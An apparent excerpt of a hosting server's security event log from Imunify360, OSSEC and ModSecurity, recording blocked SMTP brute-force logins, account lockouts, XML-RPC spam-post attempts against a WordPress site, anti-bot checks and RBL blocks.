2026-06-20 16:49:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:60510: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:49:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:50:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:50:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61119: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:51:12 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61743: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3a97cf70a04a8d55d049ba2de3d11eaad9212c9||Title:iljfvpzox6q48y0zu||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:50:57 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:50:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c44f72e2ddd5a767de84113e1462526ee7de4524||Title:sr0r1wag1jpv0bh783||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (49.148.47.227) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a34abff7512c288407ee7869b802cafec303a43||Title:dms6tnd2x70fgbu4p||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (124.107.20.111) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:51:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:51:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:61777: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:279bd3f9be79608e18448189cf951315059ea6a4||Title:574mpmz6alfauh||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:52:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62592: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (58.69.115.115) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:52:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:52:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62585: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3ae94a8d3453a6edd8205f9beae7950ac14dccb9||Title:69m2vj32a3wkhud||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (119.93.31.224) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:48129c1a0691b59cb63e2aa67d79680cc220723e||Title:f0u4j7asra1xk8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8931225681b50f61ad24092d60b22a536483afb4||Title:4bub8f6h3yw9rwkpd0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f46cd53a17891d91a34a89c511e6217b742261d||Title:6ovufl8fjt3hls||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45ecfba8c24bddaa7b7ec9b345c00b080407785b||Title:4523l8o42b2cg1wqb6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:53:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:53:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62852: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:53:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:62851: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:54:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63040: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9abd45429bf0e45dfa1221331cbe610ffba5cda5||Title:fxx3jg356bka0lpnp||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:54:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:54:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63034: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:699ba044f545ab59bbb31540dc2d2e0af6c4b16d||Title:vqkvrb9kabwo69c1ll||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f82074f1795daae39a7721b9398bcde050f8090||Title:fpzn0s3i7ca1moew||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54ca24ee50c728fcb2a7b3a5ab8096585fe2b173||Title:prwhlys0gnoxni8c75||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2095f5efab811e6d062e01cec130ccf46aacce27||Title:f8f63leo71ytvy44d||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2bf8216eeba64028f760a7313f3feaa8e92f1c87||Title:ae8z3wfvwf1q2veagv||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:820b3448a786ba9479f034ea8fcbce9bb522a0b7||Title:jmk8cujkemg4cfd||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:55:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63195: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:55:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (49.145.188.119) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:55:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63228: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:56:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63473: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:56:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.234.62.207
country_id: 1522867
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/galerie HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9e20b61bbe62d750bcae4ecff4ad4f1e18f17427||Title:pnhqg19geef0d7nz69||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ccf28f99b2b917562b580695aaa8bd1a2cff5728||Title:npjl6ufwazu0lldee||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:56:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63493: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a46d7ea1581d34aca9bd94b784fd2cf687baa29||Title:cxhgbly4ycvizb||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:57:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63584: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f16c5b65a6eb3ccb35e605ab42774cd18bb3312f||Title:wiho4i61gt1gktww||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:58:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200488&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974678 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.20.58.65
country_id: 798544
description:
Jun 20 16:58:13 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.20.58.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:58:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9528724&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974698 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:57:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:57:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63599: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b4896ca97f5d9dad0c14d3169d415e23f8b660c||Title:4w4aobqzd3ujb45||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb14b64a12a3fba6dc3cfda41ffa28bf0a32affd||Title:90icakdnmh64u7jd1x||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22b6b0f80d7fb63bc58f94e79647d798bc363aec||Title:hf93sinefgi7mr1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.253
country_id: 3469034
description:
Jun 20 16:59:19 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:58:32 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63729: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:58:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63726: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b21bfbc3f8a8ad473201aba30471cf9d63b02a5e||Title:843w3dfn5tsim42ft||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:59:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054301&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974764 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:59:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131351&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974761 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:58:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:59:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:49a1283b6bc540f348df772a742ae0faa17d608b||Title:2bqkhurnugd3zuwet||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:59:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63874: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:59:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63898: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.1.203
country_id: 690791
description:
Jun 20 16:59:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.1.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09641b6e49daba13b51e295c383dbcbe8d1fa761||Title:9izgsosmgiqqlkpt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fcdc9a78d6f5a78dc50b7abfb3ed210fef1fdf9||Title:pcp0nas1nlm6d7v1f||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
